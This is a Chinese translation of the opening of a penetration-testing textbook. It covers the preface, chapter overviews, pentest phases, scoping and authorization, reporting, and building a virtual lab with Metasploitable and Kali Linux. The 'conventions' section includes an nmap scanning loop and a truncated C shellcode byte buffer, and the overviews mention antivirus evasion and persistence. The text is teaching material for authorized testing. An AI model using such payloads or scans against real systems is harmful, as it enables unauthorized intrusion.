渗透测试学习指南(一)

原文:annas-archive.org/md5/AB4ED424B79B61BAAE18A448202342B9

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

渗透测试可能是一个复杂的话题,特别是如果你是刚刚开始进入这个领域的人。当我写这本书时,我看了看自己的情况,以及当我开始从事渗透测试工作时感到多么不知所措。网上有很多很棒的内容,但我真正卡住的地方是不知道从哪里开始。我会找到一些假设你有一些渗透测试知识,或者知道某个工具如何工作等内容。

这本书适合那些希望在渗透测试职业生涯中找到一个良好起点的人。这本书的目标不是教你华丽的技能,让你可以用来侵入网络,而是帮助你在一个受控的环境中使用真实世界的工具练习你的技能,从而对技术有一个良好的理解。

这本书的目标是在你读完时给你一个良好、扎实的渗透测试理解。你将能够完全掌握渗透测试的各个阶段,如何执行各种技术以及如何使用各种工具。

这本书是为谁准备的

这本书适用于那些希望了解渗透测试,但对这个特定主题只有最少或没有经验的人。阅读这本书的理想人选要么有一些基本的 IT 教育并了解 Linux 的基础知识,要么是自学能力强,能够通过理论和动手实践快速掌握新技能。那些已经具备一些道德黑客技能的人可能会更容易地以快于平均水平的速度消化这本书的内容。

这本书涵盖了什么

第一章《渗透测试简介》帮助你了解什么是渗透测试。在这里,我们将介绍渗透测试的各个阶段以及每个阶段发生了什么。拥有一个实验室对于学习至关重要,所以我们将介绍如何使用 VMware、Hyper-V 或 VirtualBox 构建你自己的实验室环境。我们将讨论基于 Windows 和 Linux 的目标虚拟机,你将用它们来练习你的技能。

第二章《开始使用 Kali Linux》让你从一个渗透测试基础操作系统开始。Kali Linux 是众所周知的,被渗透测试人员和攻击者使用。我们将介绍 Kali Linux 的安装和设置,以及其中包含的基本命令和基本工具。我们将讨论安装额外工具、维护工具的更新以及如何在 Kali Linux 中利用脚本。

第三章《执行信息收集》让你熟悉各种类型的信息收集。我们将介绍各种在线资源和工具,可以用来收集有关你目标的信息。本章涵盖的技术包括端口扫描、漏洞扫描和流量捕获。

第四章《精通社会工程学》专注于现实世界中最常见的攻击方法之一。在这里,我们将介绍社会工程学为什么成功,以及你如何使用各种工具进行社会工程攻击。

第五章《深入了解 Metasploit 框架》专注于一种不言而喻的工具。Metasploit 框架是众所周知的,非常灵活和强大。在这里,你将学习它包含的各种利用和如何找到额外的利用。我们将介绍 Metasploit 框架的各个组件,以及你如何在渗透测试中利用这个框架。

《第六章》《理解密码攻击》深入探讨了存在的各种密码攻击类型。我们将介绍用于各种攻击的工具。您将学习如何构建单词列表,以及您可以获取预先构建的其他单词列表的地方。您将使用这些技能来执行密码破解并从内存中转储凭据。

《第七章》《使用 Burp Suite》教您如何像专业人士一样使用 Burp Suite。在这里,我们将介绍如何获取最新版本的 Burp Suite Professional 以及各个版本之间的区别。我们将涵盖工具的许多方面,以及如何使用工具执行各种攻击。

《第八章》《攻击 Web 应用程序》是我们将焦点转向 Web 应用程序的地方。多年来,Web 应用程序发展迅速,我们将介绍 Web 应用程序的各个组件以及用于开发的一些语言。您将学习各种攻击以及如何使用专为 Web 应用程序攻击设计的工具在您的实验室环境中执行它们。

《第九章》《开始进行无线攻击》侧重于无线技术。要对无线网络进行渗透测试,您需要了解无线网络的组件,以及使用的各种无线帧和工具。我们将涵盖所有这些,包括执行针对无线网络的攻击的硬件要求。

《第十章》《横向移动和提升权限》侧重于后渗透。您将学习存在的各种后渗透技术以及可以使用的各种工具。在这里,我们将重点介绍如何利用 Kerberos 协议的工作原理对 Active Directory 域执行后渗透攻击。

《第十一章》《反病毒逃避》探讨了反病毒技术的发展。在这里,我们将涵盖各种反病毒逃避技术。我们将介绍可以使用的工具,以及在构建有效载荷以避免检测时如何使用这些工具。

《第十二章》《在环境中保持控制》通过查看我们如何在受损网络中保持立足来完成后渗透阶段。在这里,我们将探讨我们可以保持持久性的各种方式,以及可以用来实现我们目标的工具。

《第十三章》《报告和对发现采取行动》探讨了任何渗透测试的一个重要部分。在本章中,您将学习如何撰写针对高管和技术人员定制的渗透测试报告。您将了解应该提出的各种建议,以纠正在真实世界渗透测试中可能遇到的一些常见发现。

《第十四章》《我接下来该怎么办?》通过探讨如何将您的技能提升到下一个水平来结束本书。我们将介绍一些认证以及您可以获取易受攻击的操作系统的地方,以便您可以练习和提高您的技能。

为了充分利用本书

为了从本书的实际方面获得最大的收益,您需要建立一个虚拟化环境。这可以使用 VMware 或 VirtualBox 来设置。Hyper-V 也可以工作,但有一个限制,不允许您直接将无线网卡链接到虚拟机。这将阻止您在具有兼容无线网卡的情况下执行无线攻击。

首选的渗透测试操作系统是 Kali Linux。具有一些基本的 Linux 知识并非强制要求,但会很有益。Kali Linux 包含数百种工具。我们不关注所有这些工具,而只关注能完成工作的工具。偶尔,我们会研究一些可在互联网上找到的工具,但安装和设置步骤在本书中都有清晰的定义。

本书中使用的目标系统主要是免费提供的,例如 Metasploitable 和 OWASP BWA。在某些章节中,我们将使用 Windows Server 和 Windows 10 作为目标操作系统;这些操作系统的评估版本就足够了。了解如何设置 Active Directory 将会很有益。

最后,本书不专注于特定的目标操作系统,而是专注于教授您如何使用各种技术、方法和工具来获得您所需的结果。随着您继续应用所学知识并通过练习在互联网上找到的各种其他易受攻击的机器来积累经验,您的知识将会不断增长。

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/9781838640163_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。例如:“我们将利用pip命令来安装所需的shodan文件。”

代码块设置如下:

#!/bin/bash 
cat shodan-iis.txt | while read line
do
nmap -sS -sV $line
done

当我们希望引起您对代码块的特定部分的注意时,相关行或项目将以粗体显示:

#include<stdio.h>
#include<string.h>

unsigned char buf[] = 
"\xbd\xa1\xe2\xe6\x8b\xd9\xeb\xd9\x74\x24\xf4\x5f\x2b\xc9\x66"

任何命令行输入或输出都以如下形式书写:

sudo apt-get update && sudo apt-get install python2.7

粗体:表示一个新术语、一个重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会以这种形式出现在文本中。例如:“您会注意到间隔是 0.102400 [秒]。”

警告或重要说明会出现在这样的形式中。

技巧会以这种形式出现。

第一部分:基础知识

在本节中,我们将从基础知识开始。您将了解渗透测试及其包含的内容。了解渗透测试的各个阶段是成功的关键。我们将开始准备我们的环境,使用一个专门用于渗透测试的操作系统——Kali Linux。您将学习如何设置和配置 Kali Linux 的各个元素。

本节将涵盖以下章节:

  • 第一章,渗透测试简介

  • 第二章,开始使用 Kali Linux

第一章:渗透测试简介

在本章中,我们将通过建立坚实的基础来开始我们的旅程。对渗透测试基础知识的深入了解将有助于您进行成功的渗透测试,而不是盲目扫描网络和进行测试。我们将定义渗透测试以及它与其他安全评估的区别。在实际的渗透测试发生之前,需要做一些事情,以确保正确的授权和正确的范围得到定义。每个成功的渗透测试学生都需要一个实验室环境——建立一个可能令人生畏,但不要绝望。我们将看看实验室环境的哪些选项存在。

随着本章的进行,您将学到以下内容:

  • 什么是渗透测试?

  • 渗透测试的阶段

  • 开始您的实验室

  • 在 VMware、Hyper-V 和 Virtualbox 中创建虚拟机(VMs)

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1 版

  • 任何虚拟化软件,如 VMware、Hyper-V 或 Virtualbox

什么是渗透测试?

今天,渗透测试经常与漏洞评估、红队评估和其他安全评估混淆。然而,它们之间存在一些区别,如下所示:

  • 漏洞评估:这是识别系统中的漏洞和风险的过程。在漏洞评估中,漏洞不会被利用。它只是突出显示风险,以便业务可以识别风险并制定补救计划。

  • 渗透测试:这是一种授权的过程,通过在预定的时间范围内查找和利用漏洞来对网络、应用程序或主机进行入侵。渗透测试可以由内部团队或外部第三方进行。与漏洞评估相比,渗透测试更进一步,因为渗透测试利用漏洞以确保它不是虚假阳性。渗透测试不涉及任何未经授权或协调的行为。在渗透测试期间,一些测试可能会影响业务应用程序并导致停机。因此,通常需要管理和员工层面的意识。

  • 红队评估:这类似于渗透测试,但更有针对性。渗透测试的主要目的是发现多个漏洞并利用它们,而红队评估的目标是测试组织的响应能力并利用满足其目标的漏洞。在红队评估中,团队将尝试以任何可能的方式访问信息并保持尽可能安静。在红队评估中,隐秘性是关键。红队评估的持续时间比渗透测试长得多。

在开始渗透测试之旅时,了解渗透测试的含义非常重要。为了说明渗透测试是什么,让我们考虑一个场景。

您目前拥有一个持有客户数据的组织。在您的组织中,您拥有 SQL 数据库、面向公众的网站、面向互联网的服务器和大量用户。您的组织是多种攻击的主要目标,例如 SQL 注入、针对用户的社会工程和弱密码。如果您的组织受到损害,存在客户数据被泄露等风险。

为了减少您面临的风险,您需要确定当前安全状况中的漏洞。渗透测试可以帮助您以受控的方式识别这些漏洞,而不是等到攻击者这样做。渗透测试使用攻击者可能利用的真实攻击;目标是获得有关攻击者在您的网络中可以深入多深以及攻击者可以获得多少信息的准确信息。渗透测试的结果为组织提供了漏洞的开放视图,并允许他们在对手采取行动之前修补这些漏洞。

把渗透测试看作是从敌人的角度来看。

渗透测试通常被称为道德黑客、白帽黑客、渗透测试或渗透测试。

由于组织的安全成熟度不同,渗透测试的范围也会有所不同。一些组织可能已经建立了非常好的安全机制,而其他一些可能没有。由于企业有政策、业务连续性计划、风险评估和灾难恢复作为整体安全的重要组成部分,渗透测试需要被纳入其中。

渗透测试的阶段

现在您了解了什么是渗透测试,您可能想知道渗透测试的流程是什么。渗透测试有许多阶段,每个阶段都是整个渗透测试的重要组成部分。

有各种与渗透测试相关的标准。本书没有专门遵循其中任何一个。还有其他已知的标准,例如以下:

接下来的阶段遵循渗透测试执行标准PTES),我发现这是一个很好的起点。完整的标准可以在www.pentest-standard.org/找到。

预约

这是每次渗透测试中最重要的阶段。在这个阶段,您开始为渗透测试定义蓝图,并将这个蓝图与客户的业务目标对齐。目标是确保所有参与者都在同一页面上,并且预期提前设定。

在这个阶段,作为渗透测试人员,您需要花时间了解客户的需求和目标。例如,为什么客户要进行渗透测试?客户是否受到了侵害?客户进行渗透测试纯粹是为了满足合规要求,还是客户打算对发现的问题进行修复?与客户交谈并了解他们的业务目标将帮助您规划和确定渗透测试的范围,以避免任何棘手的情况。

预约阶段包括您需要考虑的一些额外组件。

范围

这个组件定义了将要测试的内容。在这里,关键在于在时间、成本和业务目标之间找到平衡。重要的是要注意,在范围内达成的一切都必须清楚地记录,并且必须考虑所有的法律影响。

在这个组件中,您将提出以下问题:

  • 将要测试的 IP 地址范围或系统的数量是多少?

  • 渗透测试是否涵盖物理安全、无线网络、应用服务器、社会工程等?

  • 渗透测试的禁区是什么?企业可能有关键任务系统,如果这些系统受到渗透测试的影响,可能会导致收入损失。

  • 渗透测试是现场进行还是远程进行?

  • 渗透测试的范围中是否包括第三方服务器?

  • 您是否进行了白盒、灰盒或黑盒渗透测试?

列出的问题并不涵盖所有内容,问题会因客户而异。要获得更全面的问题清单,可以参考 PTES 标准www.pentest-standard.org/index.php/Pre-engagement

白盒测试可以完全开放地访问系统、代码、网络图等。它提供了对一般攻击者不可得的更全面的结果。

灰盒测试可以让你获取一些关于内部系统的信息;其目的是从已经侵入系统的攻击者的角度获取信息。

黑盒测试不提供任何关于网络的信息或访问权限。这种测试更实际,因为你模拟了一个外部攻击者。

在确定渗透测试范围时,要非常小心范围蔓延范围蔓延是指在最初的范围内没有达成一致的任何额外工作。这会给你的渗透测试引入风险,可能导致你的收入损失,客户不满意,甚至法律责任。范围蔓延是一个容易陷入的陷阱。

在确定范围阶段要考虑渗透测试的成本。渗透测试的价格取决于需要测试的内容。例如,测试复杂的网络应用程序将需要更多的时间和精力,因此与简单的网络渗透测试相比,成本会更高。进行渗透测试的频率也是影响成本的另一个因素。

时间表

客户可以设定时间表,规定何时可以进行渗透测试。一些客户可能有在特定时间窗口内进行补丁更新的业务关键服务器,这些服务器在那段时间内可能是禁区。

确保定义了开始和结束日期。这样可以让渗透测试有一个明确的结束日期。

处理第三方

如今,许多企业正在利用云服务。在你的渗透范围内很可能会遇到云服务器。重要的是要记住谁拥有这台服务器。在云环境中,服务器不是由进行渗透测试的企业拥有,而是由云提供商拥有。

云领域的大公司,如微软、亚马逊和谷歌,都有渗透测试的规则文件。这些文件详细说明了你可以做什么,以及你不能做什么。

微软在这里定义了其参与规则:www.microsoft.com/en-us/msrc/pentest-rules-of-engagement。亚马逊在这里定义了其参与规则:aws.amazon.com/security/penetration-testing/。谷歌在这里定义了其参与规则:cloud.google.com/security/overview/

确保从云服务提供商那里获得正确的批准,如果你的渗透范围内涉及云服务;否则可能会导致法律后果。

支付

支付条款的讨论至关重要,因为大型组织常常会延迟付款。你需要事先定义支付条款。应明确规定付款应该何时进行。

不要忘记定义成本;例如,您将以每个 IP 地址 500 美元的成本对 10 个 IP 地址进行渗透测试。

你的“免于入狱的牌”

在进行渗透测试时,您将发现大量对现实世界攻击者有价值的信息,您还将进行一些非法活动。唯一将渗透测试人员与恶意黑客区分开来的是权限。

获得相关许可构成了您的“免于入狱的牌”。业务提供的许可详细说明了任何限制,并授权您执行在范围协议中定义的活动。

这是业务正式批准开始渗透测试。

情报收集

完成了前期阶段后,您需要在开始攻击之前收集尽可能多的信息。在情报收集阶段,也称为信息收集,您开始查看有关目标的信息。您将从公开可访问的资源中收集信息。这被称为开源情报OSINT)。您将开始利用可以帮助您的工具,如 Maltego 和 Shodan。

情报收集的重要性在于您能够发现进入目标组织的入口点。企业和员工并未考虑他们在互联网上可以暴露多少数据,因此这些数据对于决心攻击者来说成为了丰富的信息。

在第三章中,进行信息收集,我们将更详细地介绍信息收集。

威胁建模

一旦您在情报收集阶段收集了信息,您就开始进行威胁建模。在威胁建模中,您开始创建威胁的结构以及它们与目标环境的关系。例如,您将识别持有有价值信息的系统,然后您将确定与系统相关的威胁以及系统中存在的漏洞,这些漏洞可以允许攻击者对威胁采取行动。

威胁建模有一些方法,例如以下:

  • 欺骗、篡改、否认、信息披露、拒绝服务、权限提升STRIDE

  • 攻击模拟和威胁分析过程PASTA

  • 视觉敏捷和简单威胁建模VAST

有一些工具可以用于威胁建模;最常见的是以下两种:

漏洞分析

一旦您定义了可能导致威胁的威胁,就是时候发现这些威胁存在哪些漏洞。在漏洞分析阶段,您开始发现系统中的漏洞以及如何利用这些漏洞。

在这里,您将进行主动或被动分析。请记住,任何失败的利用都可能导致被发现。

主动漏洞分析可以包括以下内容:

  • 网络扫描仪

  • Web 应用程序扫描仪

  • 自动化扫描仪

被动漏洞分析可以包括以下内容:

  • 监控流量

  • 元数据

今天存在许多漏洞扫描器。例如,更常用的是 Nessus,但还有许多其他的,如 OpenVAS、Nikto 和 QualysGuard。

利用

在利用阶段,您开始专注于获取对系统的访问权限,并规避任何现有的安全阻碍。通过在利用阶段进行漏洞分析,您可以制定一个精确的计划来执行。

在这个阶段,您将开始使用许多工具。有些漏洞利用可以很容易地完成,而其他一些可能会很复杂。

后期利用

后渗透覆盖了一旦目标成功被利用就可以执行的活动。

后渗透阶段真正展示了您作为渗透测试人员的技能。当恶意黑客侵入系统时,他们开始在环境中寻找高价值目标。他们还开始创建后门,以便他们可以轻易地重新访问受损的系统。

作为渗透测试人员,您将执行任务,就好像您是攻击者一样。一旦您侵入了系统,就是寻找高价值目标和有价值的信息的时候,尝试访问提升的特权,横向移动,并查看您如何进行枢轴。

报告

在渗透测试的最后阶段,需要以有意义的方式向企业提供发现。在这里,您需要定义从您如何进入他们的环境到您发现了什么的一切。重要的是要向企业提供如何修复您在渗透测试中暴露的漏洞的建议。

您的报告应该有执行摘要和技术报告。每个部分都需要针对您呈现的受众进行定制。例如,在执行摘要中,您不会说您在使用MS17-010 EternalBlue漏洞来攻击系统,但您会在技术报告中这样说。

执行摘要

执行摘要将定义渗透测试的目标,并以非常高的层次概述发现。由于执行摘要的受众通常是业务决策者,您需要以他们的层次进行沟通。为了做到这一点,执行摘要可能包含以下部分:

  • 背景:在背景部分,您需要解释渗透测试的目的。

  • 整体姿态:在这里,您将定义渗透测试在预约期阶段定义的目标方面的有效性。

  • 风险排名:这定义了企业所处的整体风险评级。例如,企业可能处于极端中等低风险。您必须解释这个评级,以便企业清楚地了解他们为什么属于这种风险等级。

  • 一般发现:这部分提供了在渗透测试期间发现的问题的简要总结。通常在这里可以找到突出安全风险类别的图表,例如缺失的补丁和操作系统加固。

  • 建议摘要:这概述了应该执行哪些任务来纠正发现。在这里不要详细说明,因为详细内容在技术报告中有所涉及。

  • 战略路线图:这为企业提供了一个可操作的路线图来纠正发现。这个路线图必须是有优先级的,并且与潜在影响的业务级别保持一致。路线图可以分解成部分,例如1 到 3 个月3 到 6 个月6 到 12 个月的计划。在每个部分中,应该定义行动;例如,在1 到 3 个月的计划中,企业应该解决低影响的缺失补丁。

技术报告

技术报告将包括比执行摘要更多的细节。在技术报告中,您将全面定义范围、信息、攻击方法和纠正步骤。在这份报告中,您可以使用易于理解的技术术语,例如远程 shell、传递哈希和 NTLM 哈希。

技术报告将包括以下部分:

  • 介绍:这部分将包括渗透测试的范围、联系人、涉及的系统和方法等主题。

  • 信息收集:在这里,您将解释您能够收集到目标的多少信息。在本节中,您可以深入挖掘,以突出通过被动情报(公开可用的信息、DNS 记录、IP 地址信息等)、主动情报(端口扫描、足迹、等)和人员情报(从社会工程、钓鱼等获得的信息)等方式获得了哪些信息。

  • 漏洞评估:在本节中,您将定义发现的漏洞类型、如何发现它们,并提供漏洞的证据。

  • 利用/漏洞验证:本节提供了您对发现的漏洞采取行动的详细步骤。应包括攻击的时间表、目标、成功/失败比率和获得的访问级别等详细信息。

  • 后期利用:此处包括的详细信息将是升级路径、数据提取、信息价值、反制措施的有效性(如果有的话)、持久性和枢纽点等活动。

  • 风险/暴露:前面各节的结果被结合并与风险和暴露评级联系起来。本节将包含每次事件的预估损失、执行某种攻击所需的技能、反制措施的强度和风险评级(关键、高、中、低)等信息。

  • 结论:结论应该始终以积极的方式结束。在这里,您将强调通过对渗透测试的最终概述来增加业务安全姿态的任何指导。

现在我们已经建立了关于渗透测试是什么、其阶段以及它与漏洞评估和红队评估的区别的基础,是时候深入实验室环境了。

开始使用您的实验室

当您阅读本书时,您将学习如何在受控环境中使用不同的工具。为了拥有受控环境,我们需要构建一个。

我们有三种选项来构建渗透实验室。它们如下:

  • 使用云服务提供商:微软 Azure、亚马逊 Web 服务和谷歌云等云服务提供商为您提供了在部署系统方面灵活性和可伸缩性,成本仅为购买专用硬件的一小部分。使用云服务提供商的唯一问题是,您可能需要获得在部署服务上执行渗透测试的许可。

  • 使用高性能笔记本电脑或桌面计算机与虚拟化软件:由于高性能笔记本电脑和桌面计算机相对便宜,这可能是许多人喜欢的选择。通过使用 Microsoft Hyper-V、VMware 和 Virtualbox 等虚拟化软件,您可以在主机计算机上部署一个完全隔离的网络。

在使用虚拟化软件进行渗透测试时,Hyper-V 存在一个限制。目前,Hyper-V 不允许您直接将 USB 无线网卡连接到虚拟机,而 VMware 和 Virtualbox 则允许。这在尝试利用无线渗透测试的监视模式时会引入问题。VMware 和 Virtualbox 允许您直接将 USB 无线网卡连接到虚拟机。下面的截图描述了将无线网卡直接连接到虚拟机(图 1):

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 1:将无线网卡连接到虚拟机。

  • 使用专用硬件:这是更昂贵的选择。在这里,您将需要一整套网络设备,包括专用服务器和工作站。

让我们首先看看如何使用虚拟化工具(如 VMware、Hyper-V 和 VirtualBox)构建实验室环境。

在 VMware、Hyper-V 和 VirtualBox 中创建虚拟机

利用虚拟化管理程序可以以最小的硬件成本构建实验室环境。如今,任何一台体面的笔记本电脑或台式机都能运行虚拟化管理软件。在选择虚拟化管理程序时,确保适当地配置虚拟网络。例如,如果需要使虚拟机相互隔离,可以使用“仅主机模式”。如果需要让虚拟机访问互联网,可以使用“网络地址转换”或“桥接网络”。网络地址转换和桥接网络的区别在于,使用桥接网络时,虚拟机将获得自己的 IP 地址,而使用网络地址转换时,虚拟机将利用主机的 IP 地址进行外部通信。

请注意,不同虚拟化管理程序之间的选项可能不同,但概念是相同的。

Microsoft Hyper-V

Hyper-V 是微软的一款虚拟化产品,可以用来创建虚拟机。Microsoft Hyper-V 可以在 Windows 10 上使用。它可以在 Windows 10 企业版、教育版和专业版上启用。

Hyper-V 可以通过多种方式进行安装。

使用 Powershell,可以使用以下代码安装 Hyper-V 角色:

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

此外,还可以使用以下 DISM 和 CMD(以管理员身份运行)代码:

DISM /Online /Enable-Feature /All /FeatureName:Microsoft-Hyper-V

Hyper-V 也可以通过 Windows 的程序和功能进行安装。在 Windows 10 中,可以按照以下步骤进行操作:

  1. 按下 Windows 键 + R 打开运行对话框。输入 appwiz.cpl 打开程序和功能,如 图 2 所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 2:打开程序和功能。

  1. 点击如 图 3 所示的“打开或关闭 Windows 功能”:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 3:打开或关闭 Windows 功能。

  1. 选择如 图 4 所示的 Hyper-V 角色:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 4:选择 Hyper-V 角色。

  1. 点击确定。

计算机需要重新启动以安装 Hyper-V 角色。

Hyper-V 目前无法直接连接 USB 设备到虚拟机。这会给用于无线渗透测试的无线网卡带来问题,因为无法切换到监视模式。

有关 Microsoft Hyper-V 的更多信息,请访问 docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/about/

VMware

VMware 是一款提供免费和付费版本的虚拟化软件。VMware 支持 Microsoft Windows、Linux 和 Mac OS。

VMware Workstation Player (www.vmware.com/products/workstation-player.html) 可以免费在 Microsoft Windows 和 Linux 操作系统上使用。还有一个付费版本叫做 VMware Workstation Pro (www.vmware.com/products/workstation-pro.html),相比免费版本提供了一些额外的功能。VMware Fusion (www.vmware.com/products/fusion.html) 也是一个付费版本,适用于 macOS。

VirtualBox

Virtualbox 是一款开源的免费虚拟化管理程序。它支持 Microsoft Windows、Linux 和 macOS。Virtualbox 还有一些可用的扩展,包括对 USB3、PXE 引导、磁盘加密等的支持。

Virtualbox 可以在 www.virtualbox.org/wiki/Downloads 下载。

目标机器

在我们阅读本书的过程中,我们将对目标机器执行一些渗透测试。

当我们谈论目标机器时,这些是将用于测试本书中各种工具和概念的虚拟机。

对于 Microsoft Windows,我们将利用评估中心下载 Windows 10 企业版和 Server 2012 R2。

可以在www.microsoft.com/en-us/evalcenter/访问 Microsoft 评估中心。

Windows Server 2012R2 的直接链接是www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2012-r2,而 Windows 10 企业版的直接链接是www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise

对于两个操作系统,您将使用.iso文件,并使用您选择的 hypervisor 进行安装。

Metasploitable

Metasploitable 是一个有意设置的易受攻击的机器,您可以使用它来测试 Metasploit 漏洞以获取 shell 权限。Metasploitable 与其他易受攻击的机器不同,因为它更专注于操作系统和网络层。

到目前为止,Metasploitable 目前有三个版本,它们分别被称为 Metasploitable、Metasploitable 2 和 Metasploitable 3。

每个版本都有重大变化,超出了您如何设置它们的范围。

Metasploitable(版本 1)是基于 VM 的定制 Ubuntu 镜像。在这个镜像中,安装了许多易受攻击和配置不良的软件。例如,您可能会有使用 Metasploit 轻松可利用的弱凭据的 Tomcat。

Metasploitable(版本 1)可在 Vulnhub 上下载,链接为www.vulnhub.com/entry/metasploitable-1,28/

Metasploitable 2 更加强大,引入了更多的漏洞。它包括超过 30 个暴露的端口,会在 Nmap 扫描中显示出来。它还包括易受攻击的 Web 应用程序,如Damn Vulnerable Web AppDMVA)和Mutillidae。这使人们能够测试他们的 Web 应用程序渗透测试技能。

Metasploitable(版本 2)可在information.rapid7.com/download-metasploitable-2017.html下载。

Metasploitable 3 提升了游戏水平。版本 1 和 2 是基于 Linux 的,但版本 3 是基于 Windows 的。Metasploitable 3 利用了自动化和配置。构建过程简单而强大,所有脚本都是开源的,并且利用了vagrantpacker等工具。在撰写本书时,Metasploitable 3 支持 VMware 和 Virtualbox。

Metasploitable 3 可从github.com/rapid7/metasploitable3下载。

在启动 Metasploitable 之前,需要安装其他软件。以下是必需的:

Metasploitable 3 的构建步骤相对简单,并且可以在 Rapid7 维护的 GitHub 存储库上找到(github.com/rapid7/metasploitable3)。互联网上有一些资源可供下载预构建的 Metasploitable 3 VMs。

在第五章中,深入了解 Metasploit 框架,我们将执行在这里讨论的 Metasploitable 实验室中的各种任务。

摘要

在本章中,我们开始建立坚实的基础,您了解了渗透测试与漏洞和红队评估的区别。我们定义了利用渗透测试方法或标准的重要性,例如 PTES 标准及其中的各个阶段。在每个阶段中,我们讨论了涉及的内容,并强调了一些不容忽视的重要方面,比如“免于入狱的卡”。最后,我们看了一个实验室环境,目前存在的各种虚拟化程序,以及如何构建一个用于将来使用的 Metasploitable 实验室环境。

在下一章(第二章《开始使用 Kali Linux》)中,我们将深入探讨 Kali Linux,探索 Kali Linux 的不同安装选项以及一些必需的初始配置。我们将探讨 Kali Linux 中一些基本工具及其主要用途。

问题

  1. 渗透测试的目的是什么?

  2. 至少列举两种渗透测试标准。

  3. 为什么对渗透测试进行范围界定很重要?

  4. 至少列举两种威胁建模方法。

  5. Metasploitable 与其他易受攻击的机器有何不同?

第二章:开始使用 Kali Linux

在本章中,我们将深入研究 Kali Linux 作为我们的首选渗透测试平台。Kali Linux 有各种安装选项,因此我们将探讨存在哪些选项并了解如何使用它们。在演示安装过程后,需要在 Kali Linux 上完成一些初始任务,因此我们将通过初始设置来确保我们准备好开始使用 Kali Linux。脚本编写应该已经成为您的工具库的一部分,因此我们将深入研究基本脚本编写,然后开始探索 Kali Linux 上可用的一些常用工具。

在本章中,您将学习以下主题:

  • Kali Linux 简介

  • 安装和配置 Kali Linux

  • Kali Linux 中的基本命令

  • 在 Kali Linux 中编写脚本

  • Kali Linux 的基本工具

技术要求

本章的技术要求如下:

  • 任何虚拟化程序,如 VMware、Hyper-V 或 VirtualBox

  • Windows 10 专业版或企业版

  • Kali Linux 2019.1

Kali Linux 简介

在本书中,Kali Linux 将是我们的首选平台。Kali Linux 是一个免费的渗透测试分发平台,提供了广泛的工具,如用于网络渗透测试的 Metasploit,用于端口和漏洞扫描的 Nmap,用于无线网络测试的 Aircrack-Ng,用于社会工程攻击的社会工程工具包(SET)等等。

Kali Linux 是一个维护的分发;这意味着它会不断更新和维护。在撰写本文时,Kali Linux 的当前版本是 2019.1。

2019.1 版本引入了对 Metasploit 的大规模更新(Metasploit 将在第五章中介绍,深入 Metasploit 框架),包括错误修复、内核更新等。

本书使用的是 Kali Linux 2019.1 版本;请注意,如果在不同版本的 Kali Linux 上执行这些练习,可能会有所不同。

Kali Linux 可以在www.kali.org/downloads下载,有多种选项可供下载。您可以选择下载最新版本 Kali Linux 的 32 位或 64 位.iso,如图 1所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 1:Kali Linux 的下载选项

还有为 VMware 和 VirtualBox 预构建的虚拟机,可以从 Offensive Security 下载;这些可以在www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/找到,如图 2所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 2:Kali Linux 的预构建虚拟机

Kali 可以作为已安装的操作系统或作为实时版本运行,如图 3所示。对于实时版本,您需要在 USB 驱动器上设置持久存储,即如果您希望保留在实时模式下使用 Kali 时收集的任何数据:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 3:Kali Linux 的不同启动选项

正如您所知,有多种方法可以运行 Kali Linux。例如,您可以使用 Kali Linux 的 USB 磁盘进行便携式运行。这意味着您可以将其插入任何 PC 以运行 Kali。此外,一些用户可能更喜欢使用预构建的虚拟机,这样可以省去从头安装操作系统的麻烦。或者,其他用户可能更喜欢在安装过程中自定义 Kali Linux,并希望直接使用.iso文件安装 Kali Linux。

安装和配置 Kali Linux

现在您已经下载了 Kali Linux,我们需要安装并准备好。您会注意到有几种安装 Kali Linux 的选项;我将使用一个预构建的虚拟机,当前版本为 2019.1。

安装

如果您使用 Kali Linux 预构建的虚拟机,您只需在 VMware 或 VirtualBox 中打开它。VMware 预构建的虚拟机需要被提取,但您可以使用 7zip 来提取虚拟机。

利用预构建的虚拟机可以节省您手动安装 Kali Linux 的时间。请注意,如果在打开预构建的虚拟机时提示,那么您可以简单地选择“我复制了它”。

7Zip 可以从www.7-zip.org/download.html下载。

在 macOS 上安装 Kali Linux

如果您想要在 macOS 上使用 VMware Fusion 从头开始安装 Kali Linux,您可以执行以下步骤:

  1. 在 VMware Fusion 中,按下Ctrl NCommandN(macOS),这将打开新的虚拟机对话框,如图 4 所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 4:在 VMware Fusion 中安装 VM 的不同选项

  1. 将 Kali Linux 的.iso文件拖入窗口,然后单击“继续”。接下来,选择 Linux 作为操作系统,然后选择 Debian 9.x 64 位,然后单击“继续”,如图 5 所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 5:客户操作系统的选项

  1. 选择 UEFI 作为引导固件,然后单击“继续”,如图 6 所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 6:VM 操作系统的固件类型选项

  1. 单击“自定义”以对分配给虚拟机的 RAM 和 CPU 进行一些更改。您可以根据需要进行调整;在我的配置中,我将使用两个 CPU 和 2GB 的 RAM,如图 7 所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 7:虚拟机的设置

  1. 启动虚拟机后,选择启动安装程序,并按照提示进行操作,直到安装完成,如图 8 所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

